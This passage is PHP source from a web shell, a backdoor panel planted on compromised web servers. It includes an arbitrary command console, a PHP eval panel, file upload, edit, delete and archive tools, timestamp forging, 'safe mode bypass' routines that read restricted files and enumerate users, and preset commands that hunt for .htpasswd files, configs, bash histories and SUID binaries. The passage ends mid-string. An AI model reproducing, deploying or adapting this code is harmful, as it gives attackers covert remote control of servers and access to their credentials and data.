                    for ($i = strlen($_POST['p3']) - 1; $i >= 0; --$i)
                        $perms += (int) $_POST['p3'][$i] * pow(8, (strlen($_POST['p3']) - $i - 1));
                    if (!@chmod($_POST['p1'], $perms))
                        echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="' . substr(sprintf('%o', fileperms($_POST['p1'])), -4) . '"><input type=submit value="submit"></form>';
                break;
            case 'edit':
                if (!is_writable($_POST['p1'])) {
                    echo 'File isn\'t writeable';
                    break;
                }
                if (!empty($_POST['p3'])) {
                    $time = @filemtime($_POST['p1']);
                    $_POST['p3'] = substr($_POST['p3'], 1);
                    $fp = @fopen($_POST['p1'], "w");
                    if ($fp) {
                        @fwrite($fp, $_POST['p3']);
                        @fclose($fp);
                        echo 'Saved!<br><script>p3_="";</script>';
                        @touch($_POST['p1'], $time, $time);
                    }
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
                $fp = @fopen($_POST['p1'], 'r');
                if ($fp) {
                    while (!@feof($fp))
                        echo htmlspecialchars(@fread($fp, 1024));
                    @fclose($fp);
                }
                echo '</textarea><input type=submit value="submit"></form>';
                break;
            case 'hexdump':
                $c = @file_get_contents($_POST['p1']);
                $n = 0;
                $h = array('00000000<br>', '', '');
                $len = strlen($c);
                for ($i = 0; $i < $len; ++$i) {
                    $h[1] .= sprintf('%02X', ord($c[$i])) . ' ';
                    switch (ord($c[$i])) {
                        case 0:
                            $h[2] .= ' ';
                            break;
                        case 9:
                            $h[2] .= ' ';
                            break;
                        case 10:
                            $h[2] .= ' ';
                            break;
                        case 13:
                            $h[2] .= ' ';
                            break;
                        default:
                            $h[2] .= $c[$i];
                            break;
                    }
                    $n++;
                    if ($n == 32) {
                        $n = 0;
                        if ($i + 1 < $len) {
                            $h[0] .= sprintf('%08X', $i + 1) . '<br>';
                        }
                        $h[1] .= '<br>';
                        $h[2] .= "
";
                    }
                }
                echo '<table cellspacing=1 cellpadding=5 bgcolor=#1a1a1a><tr><td bgcolor=#202832><span style="font-weight: normal;"><pre>' . $h[0] . '</pre></span></td><td bgcolor=#060a10><pre>' . $h[1] . '</pre></td><td bgcolor=#202832><pre>' . htmlspecialchars($h[2]) . '</pre></td></tr></table>';
                break;
            case 'rename':
                if (!empty($_POST['p3'])) {
                    if (!@rename($_POST['p1'], $_POST['p3']))
                        echo 'Can\'t rename!<br>';
                    else
                        die('<script>g(null,null,"' . urlencode($_POST['p3']) . '",null,"")</script>');
                }
                echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="' . htmlspecialchars($_POST['p1']) . '"><input type=submit value="submit"></form>';
                break;
            case 'touch':
                if (!empty($_POST['p3'])) {
                    $time = strtotime($_POST['p3']);
                    if ($time) {
                        if (!touch($_POST['p1'], $time, $time))
                            echo 'Fail!';
                        else
                            echo 'Touched!';
                    } else
                        echo 'Bad time format!';
                }
                clearstatcache();
                echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="' . date("Y-m-d H:i:s", @filemtime($_POST['p1'])) . '"><input type=submit value="submit"></form>';
                break;
            
            case 'frame':
                $frameSrc = substr(htmlspecialchars($GLOBALS['cwd']), strlen(htmlspecialchars($_SERVER['DOCUMENT_ROOT'])));
                if ($frameSrc[0] != '/')
                    $frameSrc = '/' . $frameSrc;
                if ($frameSrc[strlen($frameSrc) - 1] != '/')
                    $frameSrc = $frameSrc . '/';
                $frameSrc = $frameSrc . htmlspecialchars($_POST['p1']);
                echo '<iframe width="100%" height="900px" scrolling="no" src=' . $frameSrc . ' onload="onload=height=contentDocument.body.scrollHeight"></iframe>';
                break;
        }
        echo '</div>';
        hardFooter();
    }
    if ($os == 'win')
        $aliases = array(
            "List Directory" => "dir",
            "Find index.php in current dir" => "dir /s /w /b index.php",
            "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
            "Show active connections" => "netstat -an",
            "Show running services" => "net start",
            "User accounts" => "net user",
            "Show computers" => "net view",
            "ARP Table" => "arp -a",
            "IP Configuration" => "ipconfig /all"
        );
    else
        $aliases = array(
            "List dir" => "ls -lha",
            "list file attributes on a Linux second extended file system" => "lsattr -va",
            "show opened ports" => "netstat -an | grep -i listen",
            "process status" => "ps aux",
            "Find" => "",
            "find all suid files" => "find / -type f -perm -04000 -ls",
            "find suid files in current dir" => "find . -type f -perm -04000 -ls",
            "find all sgid files" => "find / -type f -perm -02000 -ls",
            "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
            "find config.inc.php files" => "find / -type f -name config.inc.php",
            "find config* files" => "find / -type f -name \"config*\"",
            "find config* files in current dir" => "find . -type f -name \"config*\"",
            "find all writable folders and files" => "find / -perm -2 -ls",
            "find all writable folders and files in current dir" => "find . -perm -2 -ls",
            "find all service.pwd files" => "find / -type f -name service.pwd",
            "find service.pwd files in current dir" => "find . -type f -name service.pwd",
            "find all .htpasswd files" => "find / -type f -name .htpasswd",
            "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
            "find all .bash_history files" => "find / -type f -name .bash_history",
            "find .bash_history files in current dir" => "find . -type f -name .bash_history",
            "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
            "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
            "Locate" => "",
            "locate httpd.conf files" => "locate httpd.conf",
            "locate vhosts.conf files" => "locate vhosts.conf",
            "locate proftpd.conf files" => "locate proftpd.conf",
            "locate psybnc.conf files" => "locate psybnc.conf",
            "locate my.conf files" => "locate my.conf",
            "locate admin.php files" => "locate admin.php",
            "locate cfg.php files" => "locate cfg.php",
            "locate conf.php files" => "locate conf.php",
            "locate config.dat files" => "locate config.dat",
            "locate config.php files" => "locate config.php",
            "locate config.inc files" => "locate config.inc",
            "locate config.inc.php" => "locate config.inc.php",
            "locate config.default.php files" => "locate config.default.php",
            "locate config* files " => "locate config",
            "locate .conf files" => "locate '.conf'",
            "locate .pwd files" => "locate '.pwd'",
            "locate .sql files" => "locate '.sql'",
            "locate .htpasswd files" => "locate '.htpasswd'",
            "locate .bash_history files" => "locate '.bash_history'",
            "locate .mysql_history files" => "locate '.mysql_history'",
            "locate .fetchmailrc files" => "locate '.fetchmailrc'",
            "locate backup files" => "locate backup",
            "locate dump files" => "locate dump",
            "locate priv files" => "locate priv"
        );
    function actionConsole()
    {
        if (!empty($_POST['p1']) && !empty($_POST['p2'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', true);
            $_POST['p1'] .= ' 2>&1';
        } elseif (!empty($_POST['p1']))
            prototype(md5($_SERVER['HTTP_HOST']) . 'stderr_to_out', 0);
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            echo "d.cf.cmd.value='';
";
            $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("
$ " . $_POST['p1'] . "
" . ex($_POST['p1']), "

	\'"));
            if (preg_match("!.*cd\s+([^;]+)$!", $_POST['p1'], $match)) {
                if (@chdir($match[1])) {
                    $GLOBALS['cwd'] = @getcwd();
                    echo "c_='" . $GLOBALS['cwd'] . "';";
                }
            }
            echo "d.cf.output.value+='" . $temp . "';";
            echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
            $temp = ob_get_clean();
            echo strlen($temp), "
", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1']))
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        hardHeader();
        echo "<script>
    if(window.Event) window.captureEvents(Event.KEYDOWN);
    var cmds = new Array('');
    var cur = 0;
    function kp(e) {
        var n = (window.Event) ? e.which : e.keyCode;
        if(n == 38) {
            cur--;
            if(cur>=0)
                document.cf.cmd.value = cmds[cur];
            else
                cur++;
        } else if(n == 40) {
            cur++;
            if(cur < cmds.length)
                document.cf.cmd.value = cmds[cur];
            else
                cur--;
        }
    }
    function add(cmd) {
        cmds.pop();
        cmds.push(cmd);
        cmds.push('');
        cur = cmds.length-1;
    }
    </script>";
        echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><label><select name=alias>';
        foreach ($GLOBALS['aliases'] as $n => $v) {
            if ($v == '') {
                echo '<optgroup label="-' . htmlspecialchars($n) . '-"></optgroup>';
                continue;
            }
            echo '<option value="' . htmlspecialchars($v) . '">' . $n . '</option>';
        }
        echo '</select></label><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value="submit"> <nobr><input type=checkbox name=ajax value=1 ' . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX <input type=checkbox name=show_errors value=1 ' . (!empty($_POST['p2']) || $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'stderr_to_out'] ? 'checked' : '') . '> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin-top:5px;" readonly>';
        if (!empty($_POST['p1'])) {
            echo htmlspecialchars("$ " . $_POST['p1'] . "
" . ex($_POST['p1']));
        }
        echo '</textarea><table style="border:1px solid #060a10;background-color:#060a10;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td style="padding-left:4px; width:13px;">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
        echo '</form></div><script>d.cf.cmd.focus();</script>';
        hardFooter();
    }
    function actionPhp()
    {
        if (isset($_POST['ajax'])) {
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = true;
            ob_start();
            coder($_POST['p1']);
            $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
            echo strlen($temp), "
", $temp;
            exit;
        }
        hardHeader();
        if (isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
            echo '<h1>PHP info</h1><div class=content><style>table{color:black !important;}</style>';
            ob_start();
            phpinfo();
            $tmp = ob_get_clean();
            $tmp = preg_replace('!body {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!a:\w+ {.*}!msiU', '', $tmp);
            $tmp = preg_replace('!h1!msiU', 'h2', $tmp);
            $tmp = preg_replace('!td, th {(.*)}!msiU', '.e, .v, .h, .h th {$1}', $tmp);
            $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU', '', $tmp);
            echo $tmp;
            echo '</div><br>';
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1']))
            $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = false;
        echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>' . (!empty($_POST['p1']) ? htmlspecialchars($_POST['p1']) : '') . '</textarea><input type=submit value=Eval style="margin-top:5px">';
        echo ' <input type=checkbox name=ajax value=1 ' . ($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . '> send using AJAX</form><pre id=PhpOutput style="' . (empty($_POST['p1']) ? 'display:none;' : '') . 'margin-top:5px;" class=ml1>';
        if (!empty($_POST['p1'])) {
            ob_start();
            coder($_POST['p1']);
            echo htmlspecialchars(ob_get_clean());
        }
        echo '</pre></div>';
        hardFooter();
    }
    function actionFilesMan()
    {
        if (!empty($_COOKIE['f']))
            $_COOKIE['f'] = @unserialize($_COOKIE['f']);
        if (!empty($_POST['p1'])) {
            switch ($_POST['p1']) {
                case 'uploadFile':
                    if (is_array($_FILES['f']['tmp_name'])) {
                        foreach ($_FILES['f']['tmp_name'] as $i => $tmpName) {
                            if (!@move_uploaded_file($tmpName, $_FILES['f']['name'][$i])) {
                                echo "Can't upload file!";
                            }
                        }
                    }
                    break;
                case 'mkdir':
                    if (!@mkdir($_POST['p2']))
                        echo "Can't create new dir";
                    break;
                case 'delete':
                    function deleteDir($path)
                    {
                        $path = (substr($path, -1) == '/') ? $path : $path . '/';
                        $dh = opendir($path);
                        while (($op = readdir($dh)) !== false) {
                            $op = $path . $op;
                            if ((basename($op) == "..") || (basename($op) == "."))
                                continue;
                            $type = filetype($op);
                            if ($type == "dir")
                                deleteDir($op);
                            else
                                @unlink($op);
                        }
                        closedir($dh);
                        @rmdir($path);
                    }
                    if (is_array(@$_POST['f']))
                        foreach ($_POST['f'] as $f) {
                            if ($f == '..')
                                continue;
                            $f = urldecode($f);
                            if (is_dir($f))
                                deleteDir($f);
                            else
                                @unlink($f);
                        }
                    break;
                case 'paste':
                    if ($_COOKIE['act'] == 'copy') {
                        function copy_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false)
                                    if (($f != ".") and ($f != ".."))
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                            } elseif (is_file($c . $s))
                                @copy($c . $s, $d . $s);
                        }
                        foreach ($_COOKIE['f'] as $f)
                            copy_paste($_COOKIE['c'], $f, $GLOBALS['cwd']);
                    } elseif ($_COOKIE['act'] == 'move') {
                        function move_paste($c, $s, $d)
                        {
                            if (is_dir($c . $s)) {
                                mkdir($d . $s);
                                $h = @opendir($c . $s);
                                while (($f = @readdir($h)) !== false)
                                    if (($f != ".") and ($f != ".."))
                                        copy_paste($c . $s . '/', $f, $d . $s . '/');
                            } elseif (@is_file($c . $s))
                                @copy($c . $s, $d . $s);
                        }
                        foreach ($_COOKIE['f'] as $f)
                            @rename($_COOKIE['c'] . $f, $GLOBALS['cwd'] . $f);
                    } elseif ($_COOKIE['act'] == 'zip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            if ($zip->open($_POST['p2'], 1)) {
                                chdir($_COOKIE['c']);
                                foreach ($_COOKIE['f'] as $f) {
                                    if ($f == '..')
                                        continue;
                                    if (@is_file($_COOKIE['c'] . $f))
                                        $zip->addFile($_COOKIE['c'] . $f, $f);
                                    elseif (@is_dir($_COOKIE['c'] . $f)) {
                                        $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f . '/', FilesystemIterator::SKIP_DOTS));
                                        foreach ($iterator as $key => $value) {
                                            $zip->addFile(realpath($key), $key);
                                        }
                                    }
                                }
                                chdir($GLOBALS['cwd']);
                                $zip->close();
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'unzip') {
                        if (class_exists('ZipArchive')) {
                            $zip = new ZipArchive();
                            foreach ($_COOKIE['f'] as $f) {
                                if ($zip->open($_COOKIE['c'] . $f)) {
                                    $zip->extractTo($GLOBALS['cwd']);
                                    $zip->close();
                                }
                            }
                        }
                    } elseif ($_COOKIE['act'] == 'tar') {
                        chdir($_COOKIE['c']);
                        $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
                        ex('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
                        chdir($GLOBALS['cwd']);
                    }
                    unset($_COOKIE['f']);
                    setcookie('f', '', time() - 3600);
                    break;
                default:
                    if (!empty($_POST['p1'])) {
                        prototype('act', $_POST['p1']);
                        prototype('f', serialize(@$_POST['f']));
                        prototype('c', @$_POST['c']);
                    }
                    break;
            }
        }
        hardHeader();
        echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
        $dirContent = hardScandir(isset($_POST['c']) ? $_POST['c'] : $GLOBALS['cwd']);
        if ($dirContent === false) {
            echo 'Can\'t open this folder!';
            hardFooter();
            return;
        }
        global $sort;
        $sort = array('name', 1);
        if (!empty($_POST['p1'])) {
            if (preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
                $sort = array($match[1], (int) $match[2]);
        }
        echo "<script>
        function sa() {
            for(i=0;i<d.files.elements.length;i++)
                if(d.files.elements[i].type == 'checkbox')
                    d.files.elements[i].checked = d.files.elements[0].checked;
        }
    </script>
    <table width='100%' class='main' cellspacing='0' cellpadding='2'>
    <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_" . ($sort[1] ? 0 : 1) . "\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_" . ($sort[1] ? 0 : 1) . "\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_" . ($sort[1] ? 0 : 1) . "\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_" . ($sort[1] ? 0 : 1) . "\")'>Permissions</a></th><th>Actions</th></tr>";
        $dirs = $files = array();
        $n = count($dirContent);
        for ($i = 0; $i < $n; $i++) {
            $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
            $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
            $tmp = array(
                'name' => $dirContent[$i],
                'path' => $GLOBALS['cwd'] . $dirContent[$i],
                'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
                'perms' => viewPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
                'size' => @filesize($GLOBALS['cwd'] . $dirContent[$i]),
                'owner' => $ow['name'] ? $ow['name'] : @fileowner($dirContent[$i]),
                'group' => $gr['name'] ? $gr['name'] : @filegroup($dirContent[$i])
            );
            if (@is_file($GLOBALS['cwd'] . $dirContent[$i]))
                $files[] = array_merge($tmp, array('type' => 'file'));
            elseif (@is_link($GLOBALS['cwd'] . $dirContent[$i]))
                $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
            elseif (@is_dir($GLOBALS['cwd'] . $dirContent[$i]) && ($dirContent[$i] != "."))
                $dirs[] = array_merge($tmp, array('type' => 'dir'));
        }
        $GLOBALS['sort'] = $sort;
        function cmp($a, $b)
        {
            if ($GLOBALS['sort'][0] != 'size')
                return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]])) * ($GLOBALS['sort'][1] ? 1 : -1);
            else
                return (($a['size'] < $b['size']) ? -1 : 1) * ($GLOBALS['sort'][1] ? 1 : -1);
        }
        usort($files, "cmp");
        usort($dirs, "cmp");
        $files = array_merge($dirs, $files);
        $l = 0;
        foreach ($files as $f) {
            echo '<tr' . ($l ? ' class=l1' : '') . '><td><input type=checkbox name="f[]" value="' . urlencode($f['name']) . '" class=chkbx></td><td><a href=# onclick="' . (($f['type'] == 'file') ? 'g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'view\')">' . htmlspecialchars($f['name']) : 'g(\'FilesMan\',\'' . $f['path'] . '\');" ' . (empty($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>') . '</a></td><td>' . (($f['type'] == 'file') ? viewSize($f['size']) : $f['type']) . '</td><td>' . $f['modify'] . '</td><td>' . $f['owner'] . '/' . $f['group'] . '</td><td><a href=# onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\',\'chmod\')">' . $f['perms']
                . '</td><td><a class="tooltip" data-tooltip="Rename" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'rename\')">R</a> <a class="tooltip" data-tooltip="Touch" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'touch\')">T</a>' . (($f['type'] == 'file') ? ' <a class="tooltip" data-tooltip="Frame" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'frame\')">F</a> <a class="tooltip" data-tooltip="Edit" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'edit\')">E</a> <a class="tooltip" data-tooltip="Download" href="#" onclick="g(\'FilesTools\',null,\'' . urlencode($f['name']) . '\', \'download\')">D</a>' : '') . '</td></tr>';
            $l = $l ? 0 : 1;
        }
        echo "<tr id=fak><td colspan=7>
        <input type=hidden name=ne value=''>
        <input type=hidden name=a value='FilesMan'>
        <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) . "'>
        <input type=hidden name=charset value='" . (isset($_POST['charset']) ? $_POST['charset'] : '') . "'>
        <label><select name='p1'>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']))
            echo "<option value='paste'> Paste</option>";
        echo "<option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
        if (class_exists('ZipArchive'))
            echo "<option value='zip'>+ zip</option><option value='unzip'>- zip</option>";
        echo "<option value='tar'>+ tar.gz</option>";
        echo "</select></label>";
        if (!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
            echo "&nbsp;file name: <input type=text name=p2 value='hard_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip' ? 'zip' : 'tar.gz') . "'>&nbsp;";
        echo "<input type='submit' value='submit' style='margin-left:10px'></td></tr></form></table></div>";
        hardFooter();
    }
    function actionStringTools()
    {
        if (!function_exists('hex2bin')) {
            function hex2bin($p)
            {
                return decbin(hexdec($p));
            }
        }
        if (!function_exists('binhex')) {
            function binhex($p)
            {
                return dechex(bindec($p));
            }
        }
        if (!function_exists('hex2ascii')) {
            function hex2ascii($p)
            {
                $r = '';
                for ($i = 0; $i < strLen($p); $i += 2) {
                    $r .= chr(hexdec($p[$i] . $p[$i + 1]));
                }
                return $r;
            }
        }
        if (!function_exists('ascii2hex')) {
            function ascii2hex($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i)
                    $r .= sprintf('%02X', ord($p[$i]));
                return strtoupper($r);
            }
        }
        if (!function_exists('full_urlencode')) {
            function full_urlencode($p)
            {
                $r = '';
                for ($i = 0; $i < strlen($p); ++$i)
                    $r .= '%' . dechex(ord($p[$i]));
                return strtoupper($r);
            }
        }
        $stringTools = array(
            'Base64 encode' => 'base64_encode',
            'Base64 decode' => 'base64_decode',
            'Url encode' => 'urlencode',
            'Url decode' => 'urldecode',
            'Full urlencode' => 'full_urlencode',
            'md5 hash' => 'md5',
            'sha1 hash' => 'sha1',
            'crypt' => 'crypt',
            'CRC32' => 'crc32',
            'ASCII to HEX' => 'ascii2hex',
            'HEX to ASCII' => 'hex2ascii',
            'HEX to DEC' => 'hexdec',
            'HEX to BIN' => 'hex2bin',
            'DEC to HEX' => 'dechex',
            'DEC to BIN' => 'decbin',
            'BIN to HEX' => 'binhex',
            'BIN to DEC' => 'bindec',
            'String to lower case' => 'strtolower',
            'String to upper case' => 'strtoupper',
            'Htmlspecialchars' => 'htmlspecialchars',
            'String length' => 'strlen',
        );
        if (isset($_POST['ajax'])) {
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
            ob_start();
            if (in_array($_POST['p1'], $stringTools))
                echo $_POST['p1']($_POST['p2']);
            $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "

	\'") . "';
";
            echo strlen($temp), "
", $temp;
            exit;
        }
        if (empty($_POST['ajax']) && !empty($_POST['p1']))
            prototype(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
        hardHeader();
        echo '<h1>String conversions</h1><div class=content>';
        echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><label><select name='selectTool'>";
        foreach ($stringTools as $k => $v)
            echo "<option value='" . htmlspecialchars($v) . "'>" . $k . "</option>";
        echo "</select></label><input type='submit' value='submit'/> <input type=checkbox name=ajax value=1 " . (@$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] ? 'checked' : '') . "> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" . (empty($_POST['p1']) ? '' : htmlspecialchars(@$_POST['p2'])) . "</textarea></form><pre class='ml1' style='" . (empty($_POST['p1']) ? 'display:none;' : '') . "margin-top:5px' id='strOutput'>";
        if (!empty($_POST['p1'])) {
            if (in_array($_POST['p1'], $stringTools))
                echo htmlspecialchars($_POST['p1']($_POST['p2']));
        }
        echo "</pre></div><br><h1>Search files:</h1><div class=content>
            <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
                <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
                <tr><td>Path:</td><td><input type='text' name='cwd' value='" . htmlspecialchars($GLOBALS['cwd']) . "' style='width:100%'></td></tr>
                <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
                <tr><td></td><td><input type='submit' value='submit'></td></tr>
                </table></form>";
        function hardRecursiveGlob($path)
        {
            if (substr($path, -1) != '/')
                $path .= '/';
            $paths = @array_unique(@array_merge(@glob($path . $_POST['p3']), @glob($path . '*', GLOB_ONLYDIR)));
            if (is_array($paths) && @count($paths)) {
                foreach ($paths as $op) {
                    if (@is_dir($op)) {
                        if ($path != $op)
                            hardRecursiveGlob($op);
                    } else {
                        if (empty($_POST['p2']) || @strpos(file_get_contents($op), $_POST['p2']) !== false)
                            echo "<a href='#' onclick='g(\"FilesTools\",null,\"" . urlencode($op) . "\", \"view\",\"\")'>" . htmlspecialchars($op) . "</a><br>";
                    }
                }
            }
        }
    //     if (@$_POST['p3'])
    //         hardRecursiveGlob($_POST['c']);
    //     echo "</div><br><h1>Search for hash:</h1><div class=content>
    //         <form method='post' target='_blank' name='hf'>
    //             <input type='text' name='hash' style='width:330px;'><br>
    //             <input type='hidden' name='act' value='find'/><br>
    //             <input type='submit' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\">
    //             <input style='margin-left: 20px;' type='submit' value='md5decrypter.com' onclick=\"document.hf.action='https://www.md5decrypter.com/';document.hf.submit()\"><br>
    //         </form></div>";
    //     hardFooter();
    }
    function actionSafeMode()
    {
        $temp = '';
        ob_start();
        switch ($_POST['p1']) {
            case 1:
                $temp = @tempnam($test, 'cx');
                if (@copy("compress.zlib://" . $_POST['p2'], $temp)) {
                    echo @file_get_contents($temp);
                    unlink($temp);
                } else
                    echo 'Sorry... Can\'t open file';
                break;
            case 2:
                $files = glob($_POST['p2'] . '*');
                if (is_array($files))
                    foreach ($files as $filename)
                        echo $filename . "
";
                break;
            case 3:
                $ch = curl_init("file://" . $_POST['p2'] . "" . SELF_PATH);
                curl_exec($ch);
                break;
            case 4:
                ini_restore("safe_mode");
                ini_restore("open_basedir");
                include($_POST['p2']);
                break;
            case 5:
                for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) {
                    $uid = @posix_getpwuid($_POST['p2']);
                    if ($uid)
                        echo join(':', $uid) . "
";
                }
                break;
            case 6:
                if (!function_exists('imap_open'))
                    break;
                $stream = imap_open($_POST['p2'], "", "");
                if ($stream == FALSE)
                    break;
                echo imap_body($stream, 1);
                imap_close($stream);
                break;
        }
        $temp = ob_get_clean();
        hardHeader();
        echo '<h1>Safe mode bypass</h1><div class=content>';
        echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>';
        if ($temp)
            echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>';
        echo '</div>';
        hardFooter();
    }
    function actionLogout()
    {
        setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
        die("<div align='center'><div class='container'><div class='sky'><div class='text'>LOGGED OUT</div><div class='stars'></div><div class='stars1'></div><div class='stars2'></div><div class='shooting-stars'></div></div></div></div>
